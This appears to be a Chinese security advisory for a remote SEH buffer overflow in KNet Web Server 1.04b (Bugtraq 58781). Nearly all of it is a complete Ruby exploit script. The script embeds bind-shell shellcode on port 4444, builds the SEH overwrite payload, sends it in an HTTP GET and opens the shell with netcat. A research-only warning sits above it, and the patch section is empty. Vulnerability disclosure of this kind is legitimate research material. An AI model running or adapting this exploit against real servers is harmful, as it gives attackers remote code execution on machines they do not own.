发布日期：2013-03-29
更新日期：2013-04-02
受影响系统：
KNet Web Server KNet Web Server
描述：
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BUGTRAQ ID: 58781
KNet Web Server是小型的Web服务器。
KNet 1.04b 及其他版本存在远程缓冲区溢出，利用漏洞攻击异常处理过程（SEH），将shell绑定到端口4444，导致在应用的上下文中执行任意代码。
<*来源：Myo Soe
链接：
*>
测试方法：
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警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
#!/usr/bin/ruby
# Exploit Title: KNet Web Server Buffer Overflow SEH
# Date: 2013-03-27
# Exploit Author: Myo Soe,
# Software Link:
# Version: KNet 1.04b
# Tested on: Windows 7
require 'net/http'
require 'uri'
require 'socket'
############################################
# bind port 4444
sc_bind =
"\xbd\x0e\x27\x05\xab\xda\xdb\xd9\x74\x24\xf4\x5a\x33\xc9" +
"\xb1\x56\x83\xc2\x04\x31\x6a\x0f\x03\x6a\x01\xc5\xf0\x57" +
"\xf5\x80\xfb\xa7\x05\xf3\x72\x42\x34\x21\xe0\x06\x64\xf5" +
"\x62\x4a\x84\x7e\x26\x7f\x1f\xf2\xef\x70\xa8\xb9\xc9\xbf" +
"\x29\x0c\xd6\x6c\xe9\x0e\xaa\x6e\x3d\xf1\x93\xa0\x30\xf0" +
"\xd4\xdd\xba\xa0\x8d\xaa\x68\x55\xb9\xef\xb0\x54\x6d\x64" +
"\x88\x2e\x08\xbb\x7c\x85\x13\xec\x2c\x92\x5c\x14\x47\xfc" +
"\x7c\x25\x84\x1e\x40\x6c\xa1\xd5\x32\x6f\x63\x24\xba\x41" +
"\x4b\xeb\x85\x6d\x46\xf5\xc2\x4a\xb8\x80\x38\xa9\x45\x93" +
"\xfa\xd3\x91\x16\x1f\x73\x52\x80\xfb\x85\xb7\x57\x8f\x8a" +
"\x7c\x13\xd7\x8e\x83\xf0\x63\xaa\x08\xf7\xa3\x3a\x4a\xdc" +
"\x67\x66\x09\x7d\x31\xc2\xfc\x82\x21\xaa\xa1\x26\x29\x59" +
"\xb6\x51\x70\x36\x7b\x6c\x8b\xc6\x13\xe7\xf8\xf4\xbc\x53" +
"\x97\xb4\x35\x7a\x60\xba\x6c\x3a\xfe\x45\x8e\x3b\xd6\x81" +
"\xda\x6b\x40\x23\x62\xe0\x90\xcc\xb7\xa7\xc0\x62\x67\x08" +
"\xb1\xc2\xd7\xe0\xdb\xcc\x08\x10\xe4\x06\x3f\x16\x2a\x72" +
"\x6c\xf1\x4f\x84\x83\x5d\xd9\x62\xc9\x4d\x8f\x3d\x65\xac" +
"\xf4\xf5\x12\xcf\xde\xa9\x8b\x47\x56\xa4\x0b\x67\x67\xe2" +
"\x38\xc4\xcf\x65\xca\x06\xd4\x94\xcd\x02\x7c\xde\xf6\xc5" +
"\xf6\x8e\xb5\x74\x06\x9b\x2d\x14\x95\x40\xad\x53\x86\xde" +
"\xfa\x34\x78\x17\x6e\xa9\x23\x81\x8c\x30\xb5\xea\x14\xef" +
"\x06\xf4\x95\x62\x32\xd2\x85\xba\xbb\x5e\xf1\x12\xea\x08" +
"\xaf\xd4\x44\xfb\x19\x8f\x3b\x55\xcd\x56\x70\x66\x8b\x56" +
"\x5d\x10\x73\xe6\x08\x65\x8c\xc7\xdc\x61\xf5\x35\x7d\x8d" +
"\x2c\xfe\x8d\xc4\x6c\x57\x06\x81\xe5\xe5\x4b\x32\xd0\x2a" +
"\x72\xb1\xd0\xd2\x81\xa9\x91\xd7\xce\x6d\x4a\xaa\x5f\x18" +
"\x6c\x19\x5f\x09"
###########################################
sploit = "\x90" * 1234
sploit += "\xFF\x64\x24\x5C" # nseh | JMP [ESP+5C] FF6424 5C ; will jump to Shell Code at ESP+5C
sploit += "\xE3\x74\x24\x6C" # seh | Found pop esi - pop ebp - ret at 0x6C2474E3 [crtdll.dll]
sploit += "\x90" * 80
sploit += sc_bind
sploit += "\x90" * 80
########################################
puts "KNet Web Server - Buffer Overflow SEH Exploit\r\n by Myo Soe, \n\n"
target = ARGV[0]
def exploit(t,s)
target = 'http://' + t
sploit = s
puts "[*] Sending exploit to #{target}...\n"
url = URI.parse(target)
res = Net::HTTP.start(url.host, url.port) {|http|
http.get('/' + sploit)
}
end
def connect(t)
sleep(1)
target = t
puts "[*] Opening Shell ..\n\n";
system("nc #{target} 4444")
end
t1=Thread.new{exploit(target,sploit)}
t2=Thread.new{connect(target)}
t1.join
t2.join
建议：
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厂商补丁：
KNet Web Server
---------------
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